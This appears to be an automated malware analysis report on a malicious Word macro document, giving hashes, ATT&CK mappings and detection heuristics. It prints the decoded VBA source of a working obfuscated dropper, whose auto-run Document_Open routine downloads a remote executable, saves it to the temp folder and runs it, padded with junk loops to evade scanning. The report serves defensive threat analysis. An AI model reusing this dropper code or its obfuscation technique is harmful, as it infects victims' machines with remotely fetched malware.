Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 965f521f12e1d865…

MALICIOUS

Office (OLE)

187.5 KB Created: 2018-05-29 03:59:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 26b53a84f6816e3bb2bddd3b4e7e2daa SHA-1: 459775fb60dddebc50740bd8868e0ad2049c7504 SHA-256: 965f521f12e1d865ff39f7c02bceb57a3a6455027fc7c326983426efe30e8cbf
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The file contains VBA macros, including an auto-executing loader that is obfuscated. Heuristics indicate that the VBA code downloads and writes a file to disk, and executes it. The ClamAV detection name 'Doc.Dropper.Emodldr' further supports this dropper functionality. No document body text was available for analysis, but the macro's behavior is consistent with a downloader.

Heuristics 9

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            eKGKg = BBFbma.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set TfnRM = CreateObject(DePbOzob("WFS@cYr[iipGtg.HSVh#eNlOl&"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set TfnRM = CreateObject(DePbOzob("WFS@cYr[iipGtg.HSVh#eNlOl&"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 45510 bytes
SHA-256: 43874e529dab282b97ab220e7724f5a46b47bba14eb132afe3f82400272e69eb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
489 of 775 identifiers look randomly generated (e.g. 'VNsqNOOmjAYFeItSzrVwhvyTxFYUKPqCOuUFVpPb') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function GxcMlm(xgjTsOb As Integer, QNbuiw As Integer, ccytKAJ As String, KbbCXO As Boolean, NfBCRd As Double) As String
    KJJvIdHB = StrReverse("dL]%yFlLyvIU?I(A[ON")
    TmoYSFFN = UCase("*rWbW$ut@T$(gF ")
    sCbTzU = "xg!w!D$I$a RmfP_" + "#vjqtKz[?uFtGN&X" + "aJdJgsH&VCzBXBBN"
    WTsKjNh = RTrim("cfoshcnFS-bKfF")
    TmoYSFFN = Left("zllfEEXOqSys&b", 2)
    SdStG = Space(3)
    IVTwwQ = RTrim("&^t(yE&V]kn")
    DvFQAjro = Space(1)
    DvFQAjro = Space(9)
    IVTwwQ = RTrim("jPROREjupPtN^nqjG")
    sCbTzU = "Z.!Z-.StU^b]" + "c!a(GC?gUsW^ " + ".xtbXqibLIEf_RMsqY"
    zRhmPpvV = UCase("bZMj(u)xsUfjZS.lweo")
    For tGYNLH = 0 To 351
        sCbTzU = Space(1)
        WTsKjNh = Left("[[s]#NSJFnAKzQzO].M", 5)
        SdStG = 1920 + 1754 + 1365
        azIbf = UCase("i)@boML[VPK?m")
        TmoYSFFN = RTrim("@e$paOcMN)n")
        TmoYSFFN = Right(".yvAwse_JFc", 5)
        KJJvIdHB = 1513 + 1292 + 346
    Next tGYNLH

    TmoYSFFN = 581 + 1420 + 1127
    skSzHNCo = 511 + 1637 + 1635
    DvFQAjro = 1893 + 1674 + 1133
    sCbTzU = 1737 + 1970 + 1079
    sCbTzU = RTrim("hSS-T.[(#y(!Amq^e$qZ")
    GfqYC = LTrim("%oL!JrT#LTGIM")
    KJJvIdHB = "L!]Iwn$hemoo_NAkf" + "My_.aZn]yjlSo!d]d(hy" + "W  qRU%DE&AQ["
    WTsKjNh = RTrim("Wiasvv]&e%")
    TmoYSFFN = Space(9)
    HcCPgq = Right("lmV%Ixcf*dRW-^Loq", 4)
    For vLGXUz = 0 To 64
        GfqYC = Left("p]# Fyd&wuzxo", 2)
        WTsKjNh = Left("BacClD.StF]", 3)
        KJJvIdHB = Left("NWjD  (OiDpQ[u*b%", 5)
        azIbf = StrReverse("NlK$t_vWI!OoU@ ^M")
    Next vLGXUz

    TmoYSFFN = 1540 - 781 - 1204
    azIbf = LTrim("QkEAh#LQDF")
    For bwbINW = 0 To 390
        WTsKjNh = LTrim("bg*#PQXjjRc")
        sCbTzU = StrReverse("?QD@lvTUpBUvYbq")
        TmoYSFFN = UCase("(M]mcmSWa?ICLdOG")
        sCbTzU = Left("h*sRRK]XrCSRJ?lJ!Imz", 5)
        zRhmPpvV = Right(".sQTlK@H$ ", 4)
    Next bwbINW

    azIbf = "lBVAlH@CmNS-njI*M@Ab" + "k!mUers_mk?" + "yyS!-!P!%JOjginft"
    KJJvIdHB = 1695 - 763 - 1892
    TmoYSFFN = "yrYAoEBHQHcFwcNpB" + "dANng(FUokhyZAdqfpI" + "i#G.r_bn(BELZt#-V"
    IVTwwQ = LTrim("k^jvY-.HC$E.yHo [")
    For BcpLwy = 0 To 242
        DvFQAjro = UCase("utPylVx.s)S#(UI@F")
        skSzHNCo = Space(11)
    Next BcpLwy

    DvFQAjro = Space(18)
    GxcMlm = "DyGDCvwkxIKpWGRODxqoBtKQYYZpOQcTW"
End Function

Private Sub dcTdk(PWFPou As String, boyZlOO As String, DHKGwL As String, FQWZYh As String)
    azIbf = UCase("!BW]iG?qw z E&fYj*")
    HcCPgq = LTrim("BAimzjQBsTgN )H]^")
    HcCPgq = Right("UMpP_iy_PI.]lEzoZXk", 3)
    skSzHNCo = 453 - 606 - 657
    TmoYSFFN = StrReverse("uT-##]@fheoy")
    SdStG = Space(10)
    WTsKjNh = LTrim("Ec*fePJgp)S^KY _apf_")
    DvFQAjro = UCase("okVUQ^GiDdI^z.")
    IVTwwQ = 641 - 1220 - 1898
    TmoYSFFN = UCase("^YX^LE#lHH--MJB@hk")
    HcCPgq = StrReverse("w a-tbbnG!nAiHjY[BP")
    IVTwwQ = 353 - 1224 - 126
    SdStG = StrReverse("cQSwU[DBt!#_&IQql")
    Set TfnRM = CreateObject(DePbOzob("WFS@cYr[iipGtg.HSVh#eNlOl&"))
    TfnRM.Run PWFPou, 0
    sCbTzU = "%)(*hwcF[ua" + "fd)?IzXsfG" + "ons)rcbvkLEP-(VU.Yd]"
    For YttSHA = 0 To 114
        WTsKjNh = 874 + 1986 + 1285
        IVTwwQ = 1377 - 700 - 1282
        SdStG = Right("_[q(QHxLxQjwnzeAYmy", 3)
        sCbTzU = "mff!.ibtj F" + "-EK^U@ZWuaHMe" + "J_])zyocmzedrk"
        HcCPgq = Space(12)
        sCbTzU = Left("Yl$Ww%MjaI", 3)
        IVTwwQ = StrReverse("ayTffzo)rdUTP")
        IVTwwQ = RTrim("_]a#sdfL]PX?[Be[")
        sCbTzU = StrReverse("nrwvqGmAwycRD")
        TmoYSFFN = "Y*lcOYO sEJizD$v" + "XdNjZo_ujh&^JR" + "M[w*Ti?l[AEyde@z*Hzy"
    Next YttSHA
End Sub

Public Function DePbOzob(YvJnX As String) As String
    Dim ADneZiZC() As Byte
    Dim iYdGJ(1000) As Byte
    DfmGLu = 0
    For lrvNKg = 0 To 230
        GfqYC = Space(15)
        skSzHNCo = LTrim("Uhtnl^hK)ywGXY")
    Next lrvNKg
    While qHwgEr < 207
        TmoYSFFN = "S*[BcRzI?v" + "E%Dy[s!]a#$IMOzTZ" + "ra.AYeaQb.T!rVsEizb"
        IVTwwQ = Left("!j_kH-^u-Z", 3)
        SdStG = 1624 - 447 - 461
        TmoYSFFN = Left("Wzyjn(#Z%jMh", 4)
        DvFQAjro = LTrim("LBbQjwam&i(Mx.iZpXaI")
        GfqYC = UCase(")RKJfUIQsVoJdcO")
        zRhmPpvV = UCase("xlygXmkiMx$Z.A")
        qHwgEr = qHwgEr + 3
    Wend
    KJJvIdHB = Left("r!aS&EAQfd%.M Ftn", 5)
    sCbTzU = UCase("qf.Srj(ZP&ee$qz?J?XX")
    skSzHNCo = StrReverse("ATMcvMlRNMW")
    ADneZiZC = StrConv(YvJnX, vbFromUnicode)
    For FfyDge = 0 To UBound(ADneZiZC) - 1
        If (FfyDge Mod 2 = 0) Then
        HcCPgq = "aVhjs.U.]ro(" + "h(HjO&Va]JSanNGo" + "$Q$?%!!)@ ?FiXb$"
        IVTwwQ = UCase("EZq] %PGwZwp*phgAK")
        HcCPgq = Right("D%&%@yIFoMb", 4)
            iYdGJ(DfmGLu) = ADneZiZC(FfyDge)
            DfmGLu = DfmGLu + 2 - 1
            SdStG = Left("?OA]vdfIjK", 5)
            zRhmPpvV = Right("CivZU@)yioZDj&PoJ(", 3)
        End If
        IVTwwQ = Space(1)
        SdStG = Right("EsuUp)GfipMis%%$", 3)
        sCbTzU = Right("&Px[gY!LHy", 5)
        azIbf = LTrim("ah.BNTlIlCAr]b(")
        WTsKjNh = Left("Fn)cge$BiWukjb^", 2)
    Next FfyDge
    IVTwwQ = RTrim("vQoMVkhoAUtsXV")
    skSzHNCo = LTrim("q.rcASLAMQk@i)TnZd")
    DePbOzob = StrConv(iYdGJ, vbUnicode)
    GfqYC = Left("[yfeJyRb$l", 5)
    For FJrAGE = 0 To 22
        sCbTzU = 890 + 873 + 1794
        zRhmPpvV = "#NPMU$$r]L" + "aMZ!ZvOURt*r@" + "I# [SS]J]r!XdgrQFV?)"
    Next FJrAGE
    sCbTzU = Space(15)
End Function
Private Sub Document_Open()
    Dim wVDaoKyP As String
    KJJvIdHB = LTrim(".?-cCBAqpS.Y[$L*")
    While zTpvtI < 216
        zRhmPpvV = Right("g%DvNLx Ryy-trujYiW", 5)
        zRhmPpvV = Space(15)
        skSzHNCo = Left("whoz@epw$&", 4)
        zRhmPpvV = 1967 - 114 - 520
        SdStG = 129 + 1582 + 1238
        GfqYC = "Yw?UBB]w.!lhcoNIFbK" + "?&Fi]%mCJGEMR]]" + "RKeD[#%$iuCEs"
        azIbf = Right("RQ.R&IXv]isHOE!nJvK^", 3)
        GfqYC = StrReverse("drWvjVklxqb")
        sCbTzU = "v_JeKv%Jab!IAb]zKYf?" + "Gz!*?tQbr@rlly" + "WXIK]@HgJrh*URJv"
        zTpvtI = zTpvtI + 1
    Wend

    DvFQAjro = StrReverse("w[iO.fPW!gN%")
    HcCPgq = Right("uDoi!mvIGDd", 4)
    For sPqqCK = 0 To 112
        HcCPgq = Right("U&p(uY_[Q_DxeVUC", 5)
        skSzHNCo = LTrim("hhKqf.KYDJG@BHo")
        azIbf = UCase("JK$EZZnXzP^gej")
        IVTwwQ = "phydq_IDrfKFMT_" + "nx Hm-Kdg@djRfyA" + "S?G^#A^aS[m"
        WTsKjNh = 167 - 227 - 911
    Next sPqqCK

    While fyqhBZ < 374
        KJJvIdHB = Right("[*dRbRFWlESK", 2)
        sCbTzU = Right("*YdilKte]hjLMWQhx", 2)
        SdStG = "UWZv_]gCQKV((-VHW" + "QI^mbT^cUx" + "DcEvAjqFNphiHPr&L"
        GfqYC = Right("jJiPY*C C]", 5)
        TmoYSFFN = RTrim("r$nUv?u)LNc")
        fyqhBZ = fyqhBZ + 3
    Wend

    While GjIAWj < 186
        skSzHNCo = 1944 + 1790 + 425
        IVTwwQ = LTrim("k!oVUF]yDNaJGKYys")
        TmoYSFFN = StrReverse("_jcFBd_AWc!%)Rsj")
        IVTwwQ = RTrim("!uRDc[#dlZ@FPTdMpO(")
        SdStG = StrReverse("_WbXtCpayGs&T_")
        GjIAWj = GjIAWj + 1
    Wend

    TmoYSFFN = LTrim(".ML)rC&AR$SGIkBpqU")
    Set mCZynB = CreateObject(DePbOzob("sgczrDilpKtui$ngg!.PfXiKlxeosdyIsRt.ezm]oFb[jfeAcAtv"))
    For FGtGuz = 0 To 106
        TmoYSFFN = "?w&.Yca.X#NoSQd" + "D_$.fpnq#cIOdJT" + "kzugv!%H-q)wovSzhreh"
        GfqYC = 1207 + 1567 + 1324
        GfqYC = Right(".[ZJ(RHgBLnBKpJS$k", 4)
    Next FGtGuz

    KJJvIdHB = RTrim("(LDGJeKN(t.VAsAKD")
    zRhmPpvV = Right("K]uJ?CVOow[K", 5)
    GfqYC = Left("-Il!DcXZIT", 3)
    skSzHNCo = 901 - 1207 - 1490
    sCbTzU = 1735 - 1633 - 304
    GfqYC = StrReverse("GvR%XCBkhVL)")
    While DRmWpz < 86
        DvFQAjro = 1750 - 432 - 1102
        sCbTzU = UCase("$cg)aQBq$rs$pb* ?q")
        SdStG = 666 + 1435 + 1405
        KJJvIdHB = Left("AYA?R^]#]Oyj", 2)
        TmoYSFFN = LTrim("G-c#HDBf[FKa")
        IVTwwQ = 564 + 682 + 1512
        DRmWpz = DRmWpz + 2
    Wend

    JAbLmlU = mCZynB.GetSpecialFolder(1 + 1)
    sCbTzU = "KUE#^-?wGUvq)X[WDLw" + "*EUCiYJvJj$bJ(f" + "c)oIlARVS% "
    IVTwwQ = 1089 - 1360 - 1045
    zRhmPpvV = UCase("oZdkUTOIqS")
    DvFQAjro = "i^P*VMzSox" + "WzaMEOErBg&BoIuKs^cg" + "j.-BYVeKTlyyP!a"
    HcCPgq = "]z]UOvq_njW" + "IIo[du^-Hi" + "pnoMcR)oJ@"
    sCbTzU = StrReverse("KoyMTR(IRbKFh%u$")
    TmoYSFFN = ")H^kB._ZLQ" + "_qtnunIPQzBd_t]%" + "%N$hkT*!oR*me"
    For EScXWs = 0 To 217
        zRhmPpvV = LTrim("?]%]S]nEZHc")
        DvFQAjro = 1100 + 1668 + 588
        KJJvIdHB = 1392 - 557 - 223
    Next EScXWs

    wVDaoKyP = StrReverse("He x]eR.YsxJbNrhlDzU")
    sCbTzU = UCase("^(DQb fFBVTuu[")
    skSzHNCo = Left("[.pHvMC&bU", 5)
    KJJvIdHB = LTrim("UT@Cg!jOb^Y-YzQ")
    DvFQAjro = RTrim("OOQJrc-Mye_$deY-")
    For GmKyLI = 0 To 376
        GfqYC = "gOs(DZ#II$TE%RP" + "zvt*Z_Ox*DPP^hg$#" + ".kuvUTz)f -fq?F-zz"
        zRhmPpvV = UCase("NZnb$HMRL]M_md[^ujas")
        WTsKjNh = StrReverse("CjfBfka_f^*_$( ")
        SdStG = StrReverse("FBc-ltvsWN")
        azIbf = Right("i)&)QKvRjizRoV[Ek-gf", 4)
        HcCPgq = "FfKjEtJwHZGlv-RXcDz" + "l*n[Er.[yVCpc)" + "h$g_q[z]uReTwJs!Q"
        KJJvIdHB = RTrim("fGrVsELV#YuRZli")
        WTsKjNh = Right("?B&e%oK]PMb)aPJ(ks", 4)
    Next GmKyLI

    While MIjGMB < 172
        KJJvIdHB = Left("#?koeT^(&?bnfo(cb", 2)
        azIbf = StrReverse("Sk&G_xbw@fVpryyI")
        MIjGMB = MIjGMB + 2
    Wend

    GfqYC = 369 + 1057 + 1130
    SdStG = RTrim("Xz[elrUQEc[wHn")
    GfqYC = 1922 + 1994 + 133
    HcCPgq = "?coL*]jc@^c$" + "[!zzhESwhEY" + "f.So?)LUo[LK#"
    IVTwwQ = UCase(")mHNHw-uvbNucQ")
    WTsKjNh = 802 - 636 - 1453
    sCbTzU = RTrim(" wliT.Tc)aQ")
    WTsKjNh = RTrim(")v^d[[^uS]L&S")
    IVTwwQ = LTrim("UHEG^% P)%UQMjqI-s")
    KJJvIdHB = StrReverse("A?_QmB&FrEXh vIeK")
    GfqYC = UCase("V$j_Wg*&YnrHxp")
    For vPhaMI = 0 To 154
        IVTwwQ = LTrim("NpOoNT^cpOolWc-")
        GfqYC = 1677 - 1141 - 599
        zRhmPpvV = 1432 + 1100 + 1596
        DvFQAjro = UCase("%hsYa_UliRu")
        sCbTzU = RTrim("jhcKvrxvMvIKCmJ")
        GfqYC = Right("TNMEiYR^-m", 4)
        azIbf = Right(")#[gXNgHBX.*J-SD", 3)
        HcCPgq = Space(6)
        HcCPgq = StrReverse("]j CtEvdv)^?)GVaE")
        GfqYC = Space(8)
    Next vPhaMI

    DvFQAjro = 1290 + 115 + 1047
    HcCPgq = StrReverse("_dv?^%!%*GaKH_!T")
    skSzHNCo = "FJ-TGuXn!Nk*[lt.UF" + "bzLnanW?$!Aqs)f[P JT" + "z_WtCRHc$kBwk"
    TmoYSFFN = Left("XNLkRZfLmJ", 3)
    Dim BBFbma, HxXoGxa As Object
    zRhmPpvV = UCase("qloF?J^bWVM?")
    For KHYIqW = 0 To 340
        SdStG = 343 + 1295 + 1164
        sCbTzU = 481 + 303 + 488
    Next KHYIqW

    HcCPgq = Space(17)
    IVTwwQ = 1140 + 1478 + 1864
    SdStG = "l_)Bhvx%utyGx" + "NMp^oM#lfq$iLvjM.." + "UA!wAM_JlU*wRp"
    Set BBFbma = CreateObject(DePbOzob("MwiGccrGojsroGfctA.#XVMzL&HOT$TeP?"))
    KJJvIdHB = "qp$kXL(xoeaO" + "SoUPPhUfKr.vnmpH" + "Tv#SeFFCWLr"
    KJJvIdHB = StrReverse("yVwZ r@Lx[Lu[UwA")
    SdStG = LTrim("q@NJNFmlFjFC")
    skSzHNCo = Right("!]zou.kRCFXY?kS?Bic", 4)
    TmoYSFFN = "iLG*zqRIHP^(?LqO*Gf" + "*F.HkdBL*RX]oaQ#" + "qz)FGI#ZMf&-nz*TUVh"
    KJJvIdHB = 182 - 1143 - 764
    QjzLcPH = DePbOzob("hGthtpp#:m/F/)aysvsTe@tJsiozpDtPisosnu.^c[o.mL/ahDiTfwtQ.We.xGeI")
    While hWvBUl < 229
        skSzHNCo = Space(10)
        SdStG = Right("cu!L@Y&b)Z?qNJJn", 2)
        IVTwwQ = StrReverse("JBY]AboQWGdbMmY g")
        DvFQAjro = Space(3)
        GfqYC = UCase("YGTlp-TvAqBMosJ")
        hWvBUl = hWvBUl + 2
    Wend

    azIbf = Space(5)
    skSzHNCo = Left("Kc!KhS_j^IC(nPd-r^", 2)
    sCbTzU = 653 - 547 - 385
    HcCPgq = LTrim("?TEj((dZ U uJ@X_")
    skSzHNCo = "OE()%v_pDxJf&[#t)ERe" + "*CDb(yg(ia-f#T" + "fybV]ARw!mViT-g"
    BBFbma.Open "GET", QjzLcPH, False
    DvFQAjro = Space(2)
    SdStG = Left("GK#pHabqDjpt", 4)
    WTsKjNh = Space(18)
    IVTwwQ = LTrim("BgoyVLluMh(_")
    BBFbma.send
    azIbf = Right("AJMP*yZ?zj)d", 4)
    skSzHNCo = RTrim("*dAK- #tQ.%b.C$#^")
    IVTwwQ = Space(12)
    sCbTzU = Right("FcuCNsY%sCfBa)_$", 2)
    skSzHNCo = StrReverse("$uNBC-xXdE@")
    azIbf = RTrim("wapU@Tqa%l*U)?P")
    IVTwwQ = LTrim("@*[(wjsiAMVngOnhp$")
    If BBFbma.Status = 201 - 1 Then
    azIbf = StrReverse("ckV^$elaScgQ_S%")
    While qMymtm < 351
        DvFQAjro = LTrim("&lhsx(z SKZWkcbTcG")
        IVTwwQ = RTrim("$Zg[Xk izA$_r%")
        azIbf = Left("fOE!eEGzGohGM]bw", 3)
        DvFQAjro = LTrim("Nri_qypTl#hgjAXyGVbZ")
        qMymtm = qMymtm + 3
    Wend

    SdStG = RTrim("di((HPU[Ts[$)JVZH.KF")
    For IJWFEE = 0 To 278
        azIbf = Right("BBupEOlgiXE]l@J)RGJ", 2)
        TmoYSFFN = "qibe?J]hN(oy]rZf_" + "ACtyeQ.c-.VZg@*UXTL&" + "uiUf UT]oBJ&"
        zRhmPpvV = UCase(" W kjrW]xT(UD%")
        WTsKjNh = StrReverse("lW^QLGjfDCJ#x^^K")
        WTsKjNh = 1684 + 256 + 273
        KJJvIdHB = LTrim("hV%ua)xI-N-!sD%L")
        skSzHNCo = Left("fZpQlPBJekgmvHf^zn", 2)
        SdStG = StrReverse("addxkClKB ")
        GfqYC = "n#D&zJK)QY" + "(knonjVjTPv##E$U &Bx" + "taR#k?IEcsYMFsX"
    Next IJWFEE

    KJJvIdHB = LTrim("UlzdRKpJJL#K)GsuE*x")
    For AYscOT = 0 To 325
        azIbf = Left("fC_%UgVDBUTTJF.? j(", 2)
        DvFQAjro = Left("(aAPLNUndx%e#.&N(", 3)
        IVTwwQ = LTrim("wIH)O!OVb_uitU")
        HcCPgq = RTrim("t-IUoLVS&GDKh--")
        WTsKjNh = "T.gGC]-aBDG^AXV" + "Z^]%.MQbm)$AZ_$dGj" + "btSCBZY!CG"
        zRhmPpvV = UCase("&L$(w.K NaR@gc")
        sCbTzU = 1253 + 1649 + 1676
        WTsKjNh = Space(4)
        KJJvIdHB = Left("P*D&n!wBE(f(", 2)
    Next AYscOT

    HcCPgq = "P&#iqsUqAA#OnQRx" + "[QI$atr]@YHnAt" + "ce?.mMbJtxagJ"
        Set HxXoGxa = CreateObject(DePbOzob("A@DROIDIBK.PScter-e acmU"))
    GfqYC = 727 - 603 - 1433
    KJJvIdHB = 325 - 1500 - 1692
    skSzHNCo = RTrim("N^rHUIZ?tRLDWlZ")
    WTsKjNh = RTrim("KeSU)GL_H^KGXLAZwgM")
        HxXoGxa.Open
    KJJvIdHB = RTrim("IqLNwZjP-Wldfhwlhow_")
    azIbf = 282 + 564 + 945
    SdStG = "B-xPjE*$!F]O*" + "LkbTP%hFM^a" + "_.fQZzWD@E(yzOzSR"
    HcCPgq = 1146 - 143 - 1118
    IVTwwQ = 1493 - 729 - 1044
    KJJvIdHB = UCase("*CKC  &#m-k[ ")
        HxXoGxa.Type = 1
    TmoYSFFN = 629 + 1928 + 436
    GfqYC = 1141 - 401 - 614
    For dZjNfj = 0 To 16
        GfqYC = 527 + 638 + 283
        SdStG = "tzZjlgiXth%HRZL%P!" + "%bKytlzLY#&bg.jz#" + "a$XewXdWJp?OFQLv[otH"
        DvFQAjro = StrReverse("j[s.X#B hr&XF")
        DvFQAjro = LTrim("[r!)oPl^W@U#O.eG)S")
        azIbf = RTrim("qhL@aAsfH?b[?G")
        skSzHNCo = UCase("tGaamrYJx?vvY(-")
        azIbf = UCase("i$ #F.UtUG_y")
        IVTwwQ = RTrim("f!PZtVShA]mreW.n")
        zRhmPpvV = 1314 - 525 - 943
        azIbf = Right("lV&jXWEkwu", 2)
    Next dZjNfj

    KJJvIdHB = RTrim("UaKb[B ZglDAJp")
        eKGKg = BBFbma.responseBody
    IVTwwQ = UCase("DDW]))hP(^Ixjn*(gAz%")
    WTsKjNh = RTrim("SWR(gN?_kp")
    HcCPgq = Space(4)
    While SEoVMv < 323
        azIbf = StrReverse("XcRnYq.Gv$eO")
        HcCPgq = UCase("dsGxp!Ca^!hWsqZUue$L")
        SdStG = UCase("gUs!!Z!^f$qjENkhmp")
        SdStG = 1545 + 1423 + 1551
        sCbTzU = UCase("#%Q]#F#EsxosC")
        zRhmPpvV = "hhCve$m!DA&O$Oal" + "?a]S.l@iXDUE*hmvxrs" + "tFh@G)r@o^"
        sCbTzU = Space(19)
        HcCPgq = 126 - 1182 - 575
        SEoVMv = SEoVMv + 1
    Wend

    skSzHNCo = UCase("wHNju-yoUI")
    zRhmPpvV = Left("m^CTT^j*mFNHYp^nZTbC", 2)
    For ZltsWC = 0 To 273
        KJJvIdHB = Right("pknMpN*lgEE$", 5)
        SdStG = 661 - 1968 - 104
        zRhmPpvV = Space(3)
        TmoYSFFN = Space(18)
    Next ZltsWC

        HxXoGxa.Write eKGKg
    HcCPgq = 1327 - 895 - 650
    azIbf = Space(13)
    While HGaYbH < 82
        HcCPgq = RTrim("nE Hhp&lcUahvn$")
        IVTwwQ = Left("CFSoLN?UT!J.h*JrP#", 3)
        TmoYSFFN = 949 - 308 - 1590
        HGaYbH = HGaYbH + 3
    Wend

    TmoYSFFN = 1301 - 504 - 1877
    While DGcOHX < 115
        zRhmPpvV = RTrim("ynmN^CZzd!&!kICu)")
        KJJvIdHB = 1007 - 1892 - 1769
        sCbTzU = 120 + 1721 + 945
        KJJvIdHB = StrReverse("#*HEjbMFebEiBKfOzL")
        WTsKjNh = "sB@RT$kZwhkXH[cZM" + "JjJF_H)veyfxO[an.bR" + "IOPq!xfC]L"
        HcCPgq = 925 - 1652 - 1801
        azIbf = Space(19)
        WTsKjNh = StrReverse("AZOvT$@rHxbI?(!")
        azIbf = Right("uSBNbbZmH ", 2)
        HcCPgq = StrReverse("qQXtdnHTiqTS@L")
        DGcOHX = DGcOHX + 3
    Wend

        Dim KkjIcT As Object
    IVTwwQ = Right("ESOh?EKmwCBjo %$Z  ", 5)
    IVTwwQ = Left("JTD[Mi.lzaNmY", 4)
    For DihGFE = 0 To 326
        DvFQAjro = StrReverse("I]X*##PhvA_")
        HcCPgq = 1245 - 921 - 1466
        IVTwwQ = UCase("Xvkfrow@Jxnf(")
    Next DihGFE

    IVTwwQ = StrReverse("?DM#tISvOYP")
        Set KkjIcT = CreateObject(DePbOzob("sucmrwiqpAt@iwnWg*.ZffiZlueMsPyjsytdeSmhoPb^jVeZcVtJ"))
    azIbf = Space(6)
    While cuPHAv < 59
        TmoYSFFN = Left("KneGjhTdgjvjK?RF", 5)
        DvFQAjro = "LZ*gzJjdi??eoet)" + "t)Q ^lrzsYTNv^S#Xf I" + "gjhv  (OV?c)[nGbxW"
        TmoYSFFN = Space(14)
        KJJvIdHB = StrReverse("^ybfdJe(jb)#ErFL_zY")
        KJJvIdHB = Right("v^AC_PBBFrv_*s", 4)
        IVTwwQ = LTrim("ZwQOsrfpXJB)")
        WTsKjNh = Right("syH&#mrA(FVrMaK pCo", 3)
        cuPHAv = cuPHAv + 2
    Wend

    GfqYC = "v?.^oi?V&$?jq" + "hLp$LIq(I?" + "BFd!CmL!m!@VAlUD"
    HcCPgq = "[Nj&EHQ*-&(O_iyZB" + "Iu?Ne^fc@S(ECvytfU" + "(#Hah]eD$SyY^fqKgg"
    DvFQAjro = Right("TQR-tFt%DFr RnQ", 4)
        dwaSJBo = KkjIcT.GetSpecialFolder(5 - 3)
    SdStG = Right("$Csx[tBj^Wn&tv]P", 2)
    skSzHNCo = UCase("Jb@Shps?kVPs")
    DvFQAjro = StrReverse("ATNleA@STtXmWv[jskA")
    While znnbGt < 159
        GfqYC = Right("KU[@YvEhSrGI", 4)
        TmoYSFFN = LTrim("VAlcaeIl$_WtKm@qxqpx")
        GfqYC = 1849 - 814 - 1573
        HcCPgq = Left("G*g)ZkwXr@Fgny]", 5)
        znnbGt = znnbGt + 2
    Wend

    SdStG = LTrim("CCl-]cMiAjd%P")
        Call HxXoGxa.SaveToFile(dwaSJBo & "\\" & DePbOzob("UQD!hGN)JnsJ.[ejxheN"), 2)
    zRhmPpvV = RTrim("cm.F(C%hqfYH")
    While WuZmJi < 62
        WTsKjNh = 1397 + 1425 + 1853
        zRhmPpvV = RTrim("_unoXC@!jqUeTM")
        WuZmJi = WuZmJi + 3
    Wend

    For dWWKJv = 0 To 44
        DvFQAjro = 1951 - 321 - 505
        skSzHNCo = Right("!clwZs! ^YhW?kjwi", 4)
    Next dWWKJv

    zRhmPpvV = LTrim("@&dzw-SqsX")
        HxXoGxa.Close
    TmoYSFFN = Left("u)uip@yNBbBPV", 3)
    For nuRdJG = 0 To 315
        SdStG = Space(3)
        KJJvIdHB = Left("MFXf[_%J_oG", 5)
        sCbTzU = 1383 - 1614 - 1565
    Next nuRdJG

    skSzHNCo = StrReverse("wOGr)Nf^)o-")
    sCbTzU = Space(16)
    End If
    DvFQAjro = UCase("(G]Z?C*-PY)xztQH")
    TmoYSFFN = LTrim("FKNkm&lWJWh&")
    TmoYSFFN = "VU.aR_lI??a!Q P&Onp" + "RAYT^]YLelkpyA*" + "?x)Wp%bvVm$?f"
    KJJvIdHB = StrReverse("s!aHQAJnCDXC")
    DvFQAjro = RTrim("$Lsy*&NzpKw")
    sCbTzU = Space(4)

    TmoYSFFN = Left("vIGeO!rm&B!BpZo", 2)
    zRhmPpvV = 934 - 870 - 1124
    For fZfQNi = 0 To 330
        zRhmPpvV = Left(")X@htzHXT ?d.xip", 2)
        sCbTzU = UCase("XX&^$ERlvP.c@Ed")
        skSzHNCo = "PRwBEnFQiS" + "(OH!-hoqPVQE$yk]D" + "%zD^MgrMAQ"
        KJJvIdHB = LTrim("NoMAIlco&jJtlonhT")
        azIbf = "DUvGKoSn_Q" + "u^etePEo_q-GTsq" + "fmtp$xJgwEvQ"
    Next fZfQNi

    WTsKjNh = 1799 - 558 - 1291
    For EDDTwf = 0 To 101
